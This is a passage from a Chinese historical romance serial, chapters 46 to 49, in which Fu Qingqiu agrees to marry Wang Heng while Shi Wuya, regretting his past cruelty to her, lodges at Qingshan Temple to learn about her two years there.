直至此刻,清秋才觉她对王恒,只有做夫妻的举案齐眉,不会有眷侣的鹣鲽情深。 “常也”清秋无法欺瞒他,她和王恒所想要的仿佛不同。 可王恒等了她三年,这三年不是假的,她拖累王恒许久,那些想要回绝退亲的话像一块络铁哽在喉咙里又烫又噎,如此叫她一个字也说不出。 想当年,她追着师无涯十二年是何其辛酸,如今王恒又等了她三年,她待他总是有几分情谊的,只是她无法确认将来是否能带给王恒所想要的。 清秋心内挣扎,终是败下阵来,仰头看向王恒,目光略有闪躲,正欲开口,王恒却避开她的视线,望向别处。 第46章 “师无涯,你悔不悔。”…… “我等你。” 等你真正忘记师无涯, 等你能将十二年的情忘掉,可我能等到这一日吗,王恒自嘲轻笑, 随后只悄然叹息, 那微弱的叹息声淹没在拥挤热闹的人潮中。 夜风吹彻长街, 落在湖畔的败柳扬起枯叶,搅起汴河秋波,零落的枝叶顺水东流, 漂向远处。 良久,清秋走至他身边, 颤颤伸手, 触到他冰凉的手背,全然不似方才那般温热。 “常也,你心中有我, 为我做的一切我都看在眼里,我是愿意嫁给你的, 只是将来我不知道能否带给你想要的。”清秋低眉垂首,心中升起无边的愧疚。 她亦步亦趋地靠近王恒,温凉的掌心轻抚他的手背, 王恒漆黑莹亮的眸子倏然一转, 目光深沉,如墨一般晕开的眼眸笼上一层薄雾,清秋看不尽他眼底的情绪。 王恒反手牵住她, 弯唇轻笑,轻声道:“你在我身边便是我想要的,如此而已,清秋你能做到的。往后漫长岁月, 总会日久生情的。” 他的话那么轻,那么温柔,可清秋的心却跳得越发慌乱,王恒不要别的,他只要她在他身边,这对清秋而言,是世上再容易不过的事,他要的只是这么简单。 清秋思绪混乱,一时找不到任何回绝王恒的话,从前与王恒相识的一幕幕恍惚从脑海中闪过,他陪她在青山寺修行两年,又等了她三年。 他敬重她,清秋想她该嫁给王恒的,王恒想要的,她能给,更何况王恒喜欢了她三年,想来那是漫长的三年。 思及此,清秋心生愧疚,只盼他能得偿所愿,于是她扬唇道:“常也,我能陪在你身边,我也愿意嫁你为妻,不会食言。” 王恒眸中带笑,如释重负地道:“清秋,只你愿意我便心生欢喜。” 语罢,恰逢清秋身后有小贩糊里糊涂地撞来,王恒手腕使了巧劲,径直将清秋拥入怀中,温润清透的墨香萦绕在清秋身边,他身上的气息太过高洁,犹如山巅白雪泛着丝丝冷冽。 王恒对她总是过分温柔,常常让清秋忘记他汴京内超然物外的清贵公子。 清秋试图挣开,王恒却将她扣留,直至人潮散去,他才缓缓松手,清秋倒也不如先前那般抗拒,似在坦然接受。 “常也,先散了吧,时候不早了。”清秋垂眸,柔声说道。 王恒颔首,一路相送,临至宅门前,清秋目送王恒离去,明月清风落在王恒月白窄袖长袍上,诗文中所述的‘皑如山上雪,皎若云间月’,大抵就是如此了。 西大街巷尾,寥寥秋风,夹杂着丝丝凉气。 “常也。” 清秋出声唤住王恒,见他转身,忙道:“明日我们去青山寺中上香可好?” 她看不清自己对王恒的心,那究竟是何种感情,她心疼王恒等了她三年,却又在此刻无法安然接受他满心欢喜的爱意。 那究竟如何才能两全,谁又能给她这个准话,一时间清秋想不到别人,她想倘若空绝方丈祝他二人佳偶天成,那她便了却所有心结。 或许王恒说的是对的,将来也会日久生情,何必纠结一时的喜欢与不喜欢。 清秋正胡乱想着,王恒却毫不犹豫地应下,他望向清秋,道:“明日午时我来接你,顺道去看看元智。” 清秋看着王恒的身影消失在夜幕中,这才回过身进宅。回宅过后,清秋先去寻了韦南风说话,不多时便又去大嫂吕汀英的房中闲坐片刻。 吕汀英轻柔地环抱团圆,见清秋从外头来,她一时竟没瞧见,直至人走近屋内才发觉。 “嫂嫂哄着小团圆呢。”清秋轻撩珠帘,只刚一进屋便觉热腾腾的。 见清秋来,吕汀英眉眼含笑,柔声道:“这会了,你来作甚?” 清秋坐在榻上环视房内陈设布置,添了暖炉,连带着先前的屏风也都撤了,将摇椅放置摇篮旁,那摇篮离床极近,只一伸手便可碰到。 “天渐凉了,我怕团圆冷着,早早的叫人把炉子放进来,时时烧着些,不贪多,只怕孩子受凉不好。”吕汀英隐隐含忧,见着团圆笑方才敛去愁绪。 清秋笑而不语,只静静地看着团圆,吕汀英见她心神不宁,黛眉似蹙非蹙,便让人将团圆送了出去。 待人走后,吕汀英坐至清秋身旁,在榻上小几斟茶,笑问:“出了何事,叫你郁郁不得志?” 出的事太多,清秋一时不知从何说起,只捡了她觉得最要紧的,她将盛家一事道出,吕汀英听罢,连连蹙眉。 盛家在汴京本就难堪,出了这些事倒也不奇怪。 吕汀英眸光忽沉,望向门外,随后低声道:“清秋别趟浑水,里头的门道多着呢,你可晓得如今官家病重,二大王和太子殿下争得水深火热,指不定那一日你就将自己搭了进去。” 盛家背靠二大王杨岚,又曾是张氏门生,如今盛家后院由张丽娘做主,盛婼又本是何元稹的孙女,那何家又是一心向着太子杨岑。 盛婼会被逐出盛家,吕汀英并不意外,她父亲往日也为二大王做事,只不过她父亲年事已高,早已致仕,不再参与党争。 付远衡很少与吕汀英说朝堂上的事,可她往日耳濡目染早已洞悉,如今盛婼只不过是个幌子,人人都不敢要她,谁又敢怜悯她,也就只有她的舅舅念着亲情护着她。 护得住一时,又护不了一世。 吕汀英忽地想起今日尹惜临走前,命冬月给了她一封信,信上说尹惜要回杭州,回杭州前大抵会和离,洋洋洒洒地写了两页纸,一句不提贺清,只说她如何来去,又说杭州宅子里埋了好酒。 落款前的最后一句,尹惜祝她万事胜意,长命百岁。 她与尹惜少时相识,别的闺秀都不愿与尹惜说话,只她愿意听尹惜絮絮叨叨,尹惜和别人不一样,在他人眼中她或许是汴京最有才的女子,又或许是贤良淑德的侍郎夫人,但她不止如此。 尹惜是吕汀英见过最惊才绝艳的姑娘,她不似汴京贵女那般无趣。 吕汀英知她为何要回杭州,可贺清进士及第,少年得志,往后仕途无量,如此一来他又愿意随尹惜归隐一方吗。 房内寂静,好半晌清秋才先回过神,“嫂嫂,今日多有打扰,来日我再来看嫂嫂。” 吕汀英回过神来,忧道:“清秋,嫂嫂晓得你与盛家三姑娘交好,你可知如今你父亲,你哥哥都在为太子殿下做事,你若执意要去管盛家的事,恐怕不是什么好事。” 烛台灯火倏然起跃,火花飘摇,映得人影摇晃。 清秋垂眸敛眉,悄然轻叹,而后她轻声道:“嫂嫂,我不能这么自私,盛姐姐与我年少相识,是我为数不多的知交好友,她如今有难,我不能坐视不理,倘若涉及到付家我自会收手,嫂嫂放心。” 语罢,清秋颔首离去,吕汀英知她心性,也不再劝。 —— 明月高照,元丰楼内歌舞升平,雅间山水屏风后伶人水袖翩翩,白瓷香炉内漫出幽幽白烟,是时下最沁人的合香。 付高越蹙眉半晌,只坐了片刻便起身,只刚出雅间便遇上匆匆离开的师无涯,师无涯着绛紫长衫,玉冠挽发,敛去眉间杀意,无故添几分散漫之意。 “师无涯。”付高越抬手喊住他,绿柳刚拿着杏仁脯上楼便瞧见眼前这幕。 见是师无涯,绿柳眸光一暗,幽幽望向付高越,付高越看她似有嗔怪之意,便道:“你且回府去,我与师无涯有些话说。” 闻言,绿柳攥紧杏仁脯,冷脸离开。 师无涯回身倚在扶栏边,沉声问:“二哥有什么话想与我说。” “我有好事与你说,你听不听?”付高越上前揽过他的肩,勾唇笑道,“这事你听了保准拍案叫绝,你高兴我也高兴。” 师无涯狐疑地看他,似是不信有这样的事。 还不等他脱身,付高越便带着他进了雅间,师无涯见他有几分醉意,不好推辞。 “二哥想说什么?”师无涯临窗而立,垂眸看街头闹市,满城彩灯,一眼望不到头。 付高越自顾自的斟茶,觑他一眼,打趣道:“你总这样怪,这桩事告诉了你,往后你我还是好兄弟。” 师无涯不语,付高越沉吟半晌,笑道:“清秋已与王恒交换草贴,过两日便来下聘,想来这两日是要合八字了。” “到底是放下你了,师无涯过来喝两杯,你从前不喜欢清秋,也是了了你的心愿。”语罢,付高越走到窗边,伸手递出一杯酒。 师无涯垂眸盯着那杯清酒,迟迟未接,他倏地想起很久以前的事,他记得清秋对他说非他不嫁,对他说我们有一个家。 清秋一直有家,没有家的那个人始终是他。 “二哥,我不在汴京的那两年,清秋在做什么”师无涯接过银盏,一饮而下,雅间里澄黄的灯火揉皱他眼眉,他再藏不住一丝情绪。 付高越见他如此作态,不由得忆起当年师无涯退婚之事,他退婚过后,清秋几度病重,那也是一个寒秋。 “你还有脸说此事,你可晓得清秋因你险些病亡,清岁彻夜看顾,我和母亲守在她榻前只盼着她能好起来。”付高越气道,“你当年是真狠心,她是你十几年的妹妹,你不喜欢她,也不该如此伤她的心,倘若她有个三长两短,我付高越只将你视作杀我妹妹的仇人!” 语罢,付高越胸膛剧烈起伏,横眉瞪眼。 师无涯颤颤抬眸,漆黑的瞳眸似寂夜潭水落石,荡开一层层波澜。 “后来呢”师无涯压低声音问。 付高越气急,恼道:“什么后来呢,后来自是好了,难不成要她死了你才欢喜?” 师无涯摇摇头,眼尾勾起红血丝,不知为何他鼻酸眼乏,转而背对着付高越,又道:“是我对不住她” 听他如此说,付高越心头畅快,可一想到这一切又是因师无涯引起,不由得又闷着气。 “你自是对不住她,你向来如此,无人管的住你,大哥的话你不听,我的话更是耳旁风,只清岁的话你还听两句。师无涯,清岁成婚了,你可晓得?倘若当年你不退婚,你还能娶清岁,你悔不悔?”付高越眸光一沉,问道。 “我不悔。”师无涯眸光一凛,决然道。 付高越问他没娶到付清岁悔不悔,他从不为此事后悔,他悔的是当年之事太过决绝,近乎断绝清秋一切念想,仿佛掐灯熄烛,将一切都扼杀。 第47章 画地为囚 明月高照, 清亮的月光攀上窗檐,落在窗前,映出两道长影。 师无涯摩挲着手中银盏空杯, 他迟迟不肯转身, 只望向窗外的繁华市井, 付高越兀自坐下,气消了一半。 他幽幽叹气,平声静气地道:“方才的话我只说了一半, 你不是想知道清秋后来做了什么吗,我且告诉你, 也叫你和她再无可能。” “两年前你离开付家, 清秋病重,恰逢深秋之际,国公夫人在青山寺设枫林宴邀京中贵女赏玩, 那时清秋的病不过刚好,她应邀出门, 那是她病后头一次出了宅门,这一出叫她两年不归家!她要入青山寺修行,此一去就是两年, 整整两载, 她身边只云露一人,不曾让家中去人,亦不肯收家中信笺, 她当真就如你一般狠心肠,哥哥姐姐父母亲娘,在她眼中俱是浮云。”忆起两年前的旧事,付高越只觉历历在目, 痛心疾首。 师无涯岿然不动,他驻足在窗前,好似一杆未见血的长缨枪,周身泛着冷冽的气息,无人知晓他如今是何神情。 付高越看他冷心冷情,恼道:“你如今仍这般,我只盼着你将来也这般,再别叫清秋生出旁的心思,师无涯你的心是石头做的吗?你可知清秋在青山寺那两年是如何过的?她从小就是那样爱热闹的性子,竟在深山老寺中修行两年。” 他替妹妹恨师无涯,恨师无涯铁石心肠,恨他对清秋无一丝怜惜,可到头来,付高越只觉自个儿太过激越。 清秋都不再怨恨他,而今他又扯出这些作甚。 师无涯仍不着一言,付高越见他如此,气得横眉甩袖,愤愤离去,临出门前,付高越瞧着桌上好菜,哼声道:“你付钱。” 待他走后,师无涯才觉心口闷着的那口气提了上来,原来他不在的那两年,清秋亦过得如此艰难,他早该想到的。 清秋那样的性子,变成如今这个模样,犹如剔骨重生。 原来这两年,他们二人各自画地为囚,他远赴渭州只为博得功名,而清秋山寺修行只为修身改性。 他曾觉得渭州的日子那样苦,可如今看来不过如此。前十八年,他恨付家平步青云,渐起高楼,而他只是个无家可归的孤儿,无父无母何以配得上清秋。 现今他有功名在身,却和清秋形同陌路。 师无涯剑眉紧蹙,指节分明的手旋紧银盏,他睫羽轻颤,感受到心脏钝痛,战场上的刀枪剑戟好似也不过如此。 他离开两年,清秋亦自囚两年,她对他无怨无恨,师无涯情愿她恨他,由爱故生恨,他如今不得不去接受清秋待他已无任何情意。 许多年前,师无涯曾幻想过有朝一日马踏御街,手持银枪,威风凛凛地去娶他心爱的姑娘,如今都是镜花水月,徒增伤悲。 这夜的秋风凄凄吹过,师无涯定定地站在原处,思绪早已飘远。 —— 翌日清晨,清秋与王恒一道出城去往青山寺,清秋一路无话,她见王恒在马车中观书,心底倒生出几分安心。 马车宽大,绣幕香风,萦绕着轻浅的梅子香。 清秋恍惚记起两年前步行上山时的情形,那时有一辆宝马香车从她身旁驶过,清风撩开幕帘,在枫林里漫出合香,闻着清幽静心。 时至深秋,漫山红枫,从一处绵延至另一处,犹如红霞落定,几片凋零的红枫落在山路间。 “清秋,尝些百花糕。”王恒放下书卷,抬眸看向清秋。 清秋正观赏帘外青山,忽听他出声唤她,她还未放下幕帘,忙回过头,笑道:“常也,我不爱” 她的话还未说完,就见王恒抬手拈起一块白花花的糕点,糕点上点有秋桂,又裹了一层蜜。 王恒掩下眸中一闪而过的落寞,他悄然垂眸,正欲将糕点放下。 清秋不忍他如此伤心,凝眉道:“常也,我确实有些饿了。” 清秋接过他手中百花糕,心头涌起万千思绪,她无法忽视王恒那眼中的落寞之态,亦无法对她产生别的情意。 究竟是那一处出了错。 马车行至青山寺前,王恒先行一步,伸手扶她,清秋疑了片刻,缓缓搭上手,元智不知从哪儿听到的风声,竟一早就候在山门前。 “付娘子!”清秋还未瞧见人,就听元智出声喊道。 元智快步跑至清秋身边,又对二人施礼,元智刚直起身,元圣便走至他身后敲他一个爆栗,面上仍笑得慈悲。 “没礼数,跟着付娘子回了一次杭州,往日的礼数都忘了。”语罢,元圣向王恒施礼。 王恒眉眼清俊,轻笑道:“不妨事,今日是有喜事告知空绝大师,为你二人带了百花糕。” 闻言,观墨上前将食盒递给元智,元智面盘圆润,笑不见眼,朗声道:“多谢王郎君,是什么喜事?我能否先师父一步知道?” 王恒笑而不语,元圣见罢,忙揪着元智退至一旁,“师父在大雄宝殿内诵经,昨日夜里来个不知从哪儿冒出来的郎君,跪在佛前垂首不语,师父劝了两句,只见他一动不动,这会不知那郎君还在不在。” 清秋疑道:“那郎君可是做了亏心事?趁夜上山,叩首不起,我倒是头一次听说。” 元智皱眉沉思,道:“我远远见那人似有些眼熟,却不想起是在哪儿见过。” 话落,方才还晴明的长空忽地暗沉几分,阴云渐起,笼住一寸天光,天色愈发阴沉。 元圣仰头望天,道:“郎君娘子请先进去,秋雨寒凉,寺中本就冷,别在山中冻寒了。” 清秋颔首,王恒见她答应便随着他二人进寺,元圣道:“师父一直为付娘子留着客堂,只想着付娘子会像贺夫人那般常来。” 山中寒气重,如今枫林簌簌作响,秋风卷起山门前零落的枫叶,随着薄薄秋风飘至山下。 几人往大雄宝殿去,行至月台时,元智忽地一拍脑袋,道:“我今日忘记添香油了,师兄我便不和你们一道去了。” 元圣一时无语,面上依旧平和,无奈道:“你先去,总这样不省心,我带付娘子和王郎君去见师父。” 元智只刚走,空绝便从大雄宝殿走出,因上了年岁,他目力不佳,并未认出月台前的一行人,元圣见此上前去唤空绝。 清秋同王恒快步上前,齐齐做了个合十礼,空绝白眉弯弯,笑问:“二位可是好事将近?” 清秋凝眉,疑道:“师父这都晓得?” 空绝道:“前两日贺夫人上山来提过一二,而今又见二位便知是何事,既是佳偶天成老衲在此恭贺二位。” 话落,元圣讶然地望向清秋和王恒。 “世上夫妻多是百年修得同船渡,千年修得共枕眠,皆是前世今生的缘,落到缘字头上,又能修得正果的少之又少,王郎君与付娘子瞧着便是一方良缘。”空绝边走边道。 清秋和王恒从旁听着,王恒悄然侧目,见清秋心不在焉,原先那点欢愉的心思也消减下去。 空绝引他们二人到大雄宝殿,将供香递出,空绝问道:“付娘子可是要求些什么?” 青山寺的大雄宝殿历经多次修缮,皆由国公府所出,大殿之中佛祖高坐,低眉垂首,观众生叩首,殿内香火气浓重,烛台飘摇。 殿外疾风乍起,吹卷月台落叶,大殿内的情形让清秋忆起两年前的保神观,那时是师无涯在她身边,要用她的命还她姐姐的命。 风中夹杂着土腥气,不多时便淅淅沥沥地打湿月台,在大殿檐下挂起一方水帘。 王恒侧步挡在清秋身前,清秋眼睫低垂,余光瞥见他衣袍一角,空绝说他二人是良缘,清秋是信的。 可良缘在侧,清秋却心乱如麻。 她待王恒究竟是何种感情,尹惜临行前那一番话又究竟是何意思。 “清秋,冷吗。”王恒回身问她,清秋倏然抬眸,手中落下供香的火星子,火星烫在她的虎口处。 王恒长眉紧蹙,夺过她手中三柱香,轻抚她手上微不可见的伤口。 “疼吗,清秋你在想什么。”王恒关心则乱,急切地问她。 清秋鸦睫扑闪,抬眸看他,然后她的目光却落在他的身后的月台正中,有一墨袍青年高束马尾,红缨挽发,被雨丝沾湿,在秋风中显得凝重。 “不疼。”清秋不动声色地抽回手,整颗心也如这场秋雨逐渐平歇。 无论她待王恒是何感情,到如今她应该做她的妻子,她前半生为师无涯所累,如今好不容易下定决心,又何必临到头生出些许悔意。 纵使不能情深,却也有几分尊重和体面,这不就是婚嫁要义吗。 “常也,我上完这炷香便去看看后山红枫如何?”清秋抿唇轻笑,道:“尹姐姐走了,后山里她还藏了书,想来是要留给我的,师父可否带我去。” 空绝眯眼笑道:“贺夫人正是如此想,我已取了书放在禅房,恰巧我与王郎君也有几句话说,不妨就让王郎君随我一道去取,也免付娘子来回奔波。” 王恒见她眉眼含笑,好似愁绪散尽,便不再问她。王恒怕她在山中受寒,应下空绝,待到清秋上完香他再回客堂去。 清秋目送他二人,手中紧握的三柱香如同烫手烙铁。 不多时,清秋上完香随元圣去客堂,清秋见元圣与她待得无趣,便让他回大殿。 潇潇秋雨,犹如银丝细竹,若是有茶便可添一分风雅,往日她在青山寺也常与王恒烹茶酿酒,她和王恒所酿的酒从来都是尹惜喝完了。 如今尹惜离开汴京,只剩她和王恒常来青山寺。 清秋坐在凉亭下,痴痴地望着万山红叶,濛濛细雨为远山笼上一层轻纱,空蒙深静。 昔年旧景似乎无甚差别,可与清秋而言,这是她不喜欢师无涯的第三年。 三年倒真叫她对师无涯再无旁的心思,纵使再见,她也能如常应对。 万籁俱寂,只余绵绵雨声。 清秋不知坐了多久,仍不见王恒归来,只刚起身,身后便有踏水声,清秋倏然回身,脱口而出。 “常也——” 见来人墨袍红缨,腰佩红符,身姿劲瘦,手执银灰罗伞,眉眼之间仍如当年那般散漫无调。 清秋冷下脸来,柳眉深蹙,疑道:“师无涯,你在这作甚。” 师无涯立于雨幕中,不着一言,目光似燎原烈火,驱散她周遭寒凌的秋雨,那样炙热的目光,唬得清秋往后退了一步。 清秋目力不佳,未曾瞧见师无涯眼底氤氲的水雾,那是她曾经最想要在师无涯眼中所看到的动容。 第48章 和好如初 今年的秋雨似要比往年的凉一些, 雨丝淅淅沥沥地打在罗伞上,伞沿垂下雨帘。 清秋见师无涯并未有动身上前的意思,便又兀自坐下。 良久, 师无涯才沉声开口, “我来寺中修行。” 他声如潭渊, 仿佛有着眼不见底的愁绪,可那与她有何干系,清秋听他提及修行, 想来师无涯是知道了些什么。 那些旧事清秋本不欲再说,岂料师无涯还是晓得了。 饶是他晓得了又如何, 不过是些往事, 放到如今又有什么意思。 清秋勾唇冷然一笑,复又柔声问:“师无涯,你修的是身还是心?师将军如今声名在外还需修行么, 未必心中对谁有愧?” 清秋从不指望师无涯对她心有愧疚,前十二年那样薄情的人, 怎会生出愧疚之心,如今她说这些不过是逞口舌之快。 师无涯究竟如何想,清秋不甚在意, 只这片刻他见师无涯在此处陡生不快, 当年苦楚尽数涌上心头。 曾几何时,她也在青山寺盼着他忽然出现,而后告诉她, 他这一辈子最喜欢的姑娘就是她。到底是年少无知,把情爱看得比生死重要。 清秋静静地看着他,师无涯眼睫低垂,掩住眼底泪意, 然而他不肯落泪,只微微仰首,苦笑道:“我从前做了些蠢事,如今回头看,只望神佛垂怜,能有所转圜。” 倘若当年他晓得会有这一遭,断不会如此狠绝,若他能乞得她的原谅,是否还能和好如初。 秋雨寒凉,清风携雨丝吹进小亭,惹得人身冷心寒。 清秋冷笑一声,不着一言,她的目光凄然平静,眼底怆然只一瞬便散去。 师无涯见她身着天青色芙蓉折枝罗褙子,素绢碧裙,是茫茫雨幕中唯一的一点碧色,恍惚间,清秋还是那个尚未及笄的豆蔻少女。 可他比谁都清楚,从杭州到汴京,清秋对他再无情谊,从前十二年的情早已在青山寺消磨殆尽。 师无涯压低伞柄,声音沉闷,穿透雨幕,问她:“你应了王家的亲事?” 清秋淡声道:“早就定下的事,何必再问。” “你喜欢他什么?凭他的才学还是他家世好?”师无涯攥紧伞柄,目光灼灼,紧紧盯着她。 “你以为呢?师无涯世上不是只有你好,不凭什么——”清秋问心无愧,弯唇道,“当真要论,只一点,凭我喜欢他,凭他陪在我身边两年,一次又一次地疏解我,师无涯这与你又有何干系呢?” 话落,亭外骤雨忽起,雨如跳珠,溅起青砖水坑,荡开一层又一层的涟漪。 清秋倏然起身,虽有些冷风灌进袖口,沁得肌肤生寒,但清秋却不觉得冷,眼前师无涯的落拓之态,竟叫清秋心头陡然畅快。 往日师无涯何其高傲,见她动辄贬低,轻则讥嘲,如今也有求而不得的失意。 “师无涯,不奉陪了。”语罢,清秋正欲离去,只刚转身往客堂外去,却见王恒站在客堂拐角的廊下。 他一手握着竹纹青罗伞,手臂上还搭着披风,一手抱着半卷书。 “常也”清秋眸光忽闪,见他怔在原地,一时间竟不知说些什么。 王恒眸光温和,渐渐回过神,他走至清秋身旁,放下书卷,轻柔地为她披上。 “师将军,不巧,又遇见了。”系好披风后,王恒才转身朝师无涯见礼。 清秋笑道:“师将军,时候不早了,我与常也先行离开。” 师无涯不曾动一步,千言万语凝在喉间,他试图向清秋解释当年的事,可见到王恒的那刻,他不愿让旁人知晓。 他和清秋的事,只他二人清楚便好,十二年,到如今已有十四年,师无涯不信清秋当真对他毫无情意。 那日过后,师无涯并未离开青山寺,反倒在此住下来,他同空绝说他想修行两年,空绝只当是一时兴起,随口一应。 元圣带师无涯去另一间客堂,师无涯却只要清秋曾住过的客堂,元圣为难道:“那是付娘子先前住过的,日后付娘子还会回来,师郎君不妨住在另一侧,并无差别。” 师无涯沉吟片刻,还未等他回答,便见一浑圆小沙弥,齐他肩高,比元圣稍矮些。 “你是!那天在杭州院里的人——!”元智惊呼出声,元圣皱眉拖着元智出门。 师无涯眸光一闪,似笑非笑地道:“慢着,我有些事想请教小师父。” 元圣道:“郎君想问何事?” 元智忆起杭州的事,总觉眼前人与清秋关系甚密,他本是个好奇的性子,如今见他来,更是满腹疑惑有待解开。 元智扯过元圣,悄声道:“此人与付娘子关系匪浅,在杭州时曾救过我们,师兄我有些话想问他,且让我与他单独说道说道。” 元圣听罢,犹豫半晌,还是纵着元智留下,他自个儿回了大殿诵经。 师无涯见元圣离开,便要上前去揪住元智,还不等师无涯伸手,元智率先开口:“师郎君?好生熟悉的人,我听云露姐姐说过几回。” 师无涯眸子一转,挑眉问:“那日在杭州的院里,我见过你,你与那付娘子可熟悉?” 话落,元智叉腰哼道:“可熟了,付娘子在寺中修行两年,我每日都会和付娘子在客堂论佛法经义,到了冬日我们便去后山捉小鸟不过你是付娘子什么人?” 师无涯微怔,沉吟片刻,低声道:“我为何要告诉你?” 此话一出,元智大为火光,急道:“我就知道你不是什么好人,否则怎么会半夜翻窗,如此行径实在太不齿了。” 师无涯瞧他那义愤填膺的模样,心觉有趣,方才元智所说清秋的事,想来在青山寺的两年,元智便在她身边,他不在的那两年,恐怕只有眼前这个小沙弥能告诉他了。 思及此,师无涯眸光忽沉,敛去眼底傲气,抬手拍着元智的一边肩,轻咳一声,道:“小师父,能否将付娘子这两年在寺中之事悉数相告?” 元智冷冷挑眉,暗道此人翻脸如翻书,才不要将付娘子的事告诉他,不过他瞧他如此好奇,不由得起了坏心,以报他方才高傲的姿态。 元智肩上受力,师无涯劲大,摁得他生疼,元智拍开他的手,眯眼笑道:“郎君想知道?哪得有别的东西和我还,哎哟,我这两日总饿得慌,吃什么都觉无味。” 闻言,师无涯只当元智馋了,忙不迭地下山,元智还未说话,就见一道黑影飞了出去,元智惊呼出声。 “你跑这么快做什么,你知道我要吃啥吗?”元智皱眉嘟囔,也不知师无涯是否听见。 酉时三刻,元智见师无涯久久不归,用了斋饭后,便去山门等他,等了半盏茶的功夫,就见雨后新山中生出浓重的墨色。 师无涯两手提着食盒,步行上山,但他步履坚定,毫无虚浮之意,好似一点都不累。 落过雨的山路,泥泞难走,暮色四合,霞光映天,满山红枫与飞霞交相映衬。 元智站在山门前招手,扬声道:“郎君,我不出大鱼大肉,也不喝酒,我只吃飞云楼的百花糕。” 师无涯脚下一顿,转身没入红枫,一句话也不给元智留。 元智懒得在山门口等,深秋夜冷,站在山门前只有吹风的份,还未转身,元智脑袋上就落了一个爆栗。 元圣和空绝立在元智身后,元圣皱眉道:“你使唤人家郎君作甚?若是贵客如何办?” 空绝白眉轻挑,笑意浓重,“罢了,瞧那郎君非常人,元智还不快些回去,今日你因付娘子来,可是躲懒了。” 古朴沉重的声音仿佛深静幽井,元智对着声音有着天然的服从,见空绝松口忙不迭地跑回大雄宝殿。 元智诵完经已是戌时,此时明月高照,半山腰的冷风灌入袖口,只一出大殿就觉冷沁。 “小师父。” 元智猝然抬眸,却见师无涯一袭墨袍,发丝飘扬,在月台前,明月下,替着油纸包的百花糕。 只这样远远看,倒真是像个世家公子,且是那话本里最爱讲的多情公子。 元智上前拽过他手上的百花糕,照旧是熟悉的味道,夜风一吹,元智瑟缩一抖,颤颤地拿出一块分给师无涯。 “吃些吧,要不是为了在山门前等你,我才不会被师父揪着出来诵经,我大人有大量,就分给你吃,从前付娘子好像也爱吃这个。”元智抬腿跨步,身上暖了些,又道:“付娘子初来青山寺时,就带了百花糕。” 师无涯拈着手中那块百花糕,清甜的香气,四四方方,从前清秋在付宅时好像也为他送过。 他记得那时清秋很爱吃甜食,各色糕点果子都要尝上一尝,可如今她好似不大爱吃这些东西了。 元智咽下最后一块百花糕,二人恰好回了客堂,元智径直坐在亭下,仰头望着师无涯。 “给我倒茶。”元智道。 师无涯微怔,含住手中百花糕,鬼使神差地倒茶。 元智咕嘟咕嘟地往下灌,不多时,他见师无涯仍在一旁,便叫他一道坐下,他同他讲清秋在青山寺的那两年。 长月如钩,秋风似水,万山枯叶红枫在寂寂深夜中簌簌作响。 师无涯抿下一口百花糕,余下半块掐在手中。 元智同他说,一夜是讲不完两年的事,他还要师无涯为他买一个月的百花糕,替他诵一个月的经书。 他每日只同师无涯讲一些,只一月便可讲完。 而今师无涯听了最初的那一点,元智说,清秋初来青山寺时,脚步虚浮,体质虚弱,元智只觉清秋年岁难永,好在寺中苦修叫她好了些。 “郎君,我看你在杭州与付娘子是有些旧缘,这才说给你听,付娘子人美心善,不过她来青山寺修行,倒是叫人意外。”元智感慨,站起来伸了个懒腰。 元智懒懒道:“今日就说到这儿吧,明日晨起诵经,往日付娘子也是如此,郎君若想知道往事,还需心诚。” 师无涯默不作声,元智也并未再说,只转身回房歇息。 良久,师无涯缓缓抬眼,将余下的半块百花糕塞进嘴里,糕点甜而不腻,入口即化,口中清甜,咽入喉中后师无涯却觉那百花糕犹如烙铁。 香甜的百花糕如鲠在喉,难以下咽。 师无涯哽得眼尾泛红,元智的话萦绕在耳,两年前清秋如何修行,如何难挨,仿佛都历历在目,他未曾见过清秋真切的修行,却已能想到。 上月在杭州,付高越虽说清秋在寺中修行,却未曾提其中细节,想来那些事只有元智最为清楚。 元智所说种种,于他而言,恍若隔世,却又那样的真切痛苦。 第49章 吻如雨下(文案章) 十一月中旬, 由王夫人陈芸亲自登门,韦南风在正厅接待,清秋因伤寒未愈并未见客。 陈芸本系士族出身, 身份高贵, 又与王国公成婚, 虽说她性情悲春伤秋,但却是个好相与的,吕汀英坐在下首, 见韦南风神采飞扬,便知她是满意的。 陈芸眉目慈蔼, 柔声道:“前几日贺夫人离京南下, 闻说小贺大人也追了去,他们夫妻二人最是不让人放心,原先我本是要贺夫人来, 她一走,我想着再没合适的人, 便亲自来了。” 语罢,陈芸从袖中抽出笺纸,递到韦南风身侧, “清秋这孩子的八字与我家恒儿极为合适, 空绝大师再三校验,想来不会出错,往日我想要个姑娘, 而今要了你家的姑娘,付夫人可舍得?” 韦南风摊开笺纸,细细看过,轻笑道:“是清秋的福气, 子女辈的缘法,辛苦王夫人亲自走一趟,随意打发人来便是。” 陈芸笑而不语,捧起建窑兔毫盏,茶香浓郁,是龙团茶。 “怎么不见清秋?”陈芸眸光一转,似想到什么。 吕汀英起身,解释道:“今日妹妹身子不适,前些日子去青山寺受了寒,恐夫人过了病气,便没来,我正要回母亲,夫人问起我便一道回了。” 陈芸略微颔首,半眯着眼打量吕汀英,沉吟道:“你是秘书省少监之妻陈致的女儿?” 吕汀英垂首称是,陈芸见罢,抿唇笑道:“你母亲近来可好?我倒还记得你母亲,你生得漂亮,眉眼间承了她的温柔。” 陈致与陈芸本是远房表亲,曾在祭祖时见过几面,不过那时陈致不在汴京,他们一家久居江南,后因吕父升迁才至汴京。 吕汀英眸光微沉,轻声道:“母亲已故多年,托夫人记挂,家母定然欣喜。” 闻言,陈芸悄然别过眼,抬手微微拭泪,一旁随行的妈妈忙劝道:“夫人,那吕夫人不过几面之缘,劳你挂怀,人各有命怎又哭了。” 韦氏见此,朝吕汀英使眼色,吕汀英心下慌神,从前只闻陈芸悲春伤秋,却不曾想是到了这个地步。 “夫人莫哭,若我母亲瞧见定然也要伤怀,到那时,一个天上哭,一个地下哭,岂不泪尽伤心。”吕氏忧心道。 此话一出,陈芸果真止住了泪,泪眼濛濛地望向吕汀英。 “说得有理,带我去瞧瞧清秋那孩子,我不怕过了病气,我只怕那孩子心里闷,去见见她也是好的。” 陈芸用帕子擦干泪,正欲起身,韦南风恐她回府染病,婉转拦道:“到底是孩子,年轻些就是病了也不妨事,可夫人若是病了哪儿挨得住。” 语罢,陈芸身旁妈妈凝了韦南风一眼。 “是了,我这身子是不能见这些,可我一想那孩子病着我却不能瞧一眼,实在是没理,我日后也是她半个娘,为娘的不能见女儿”陈芸泣声说着。 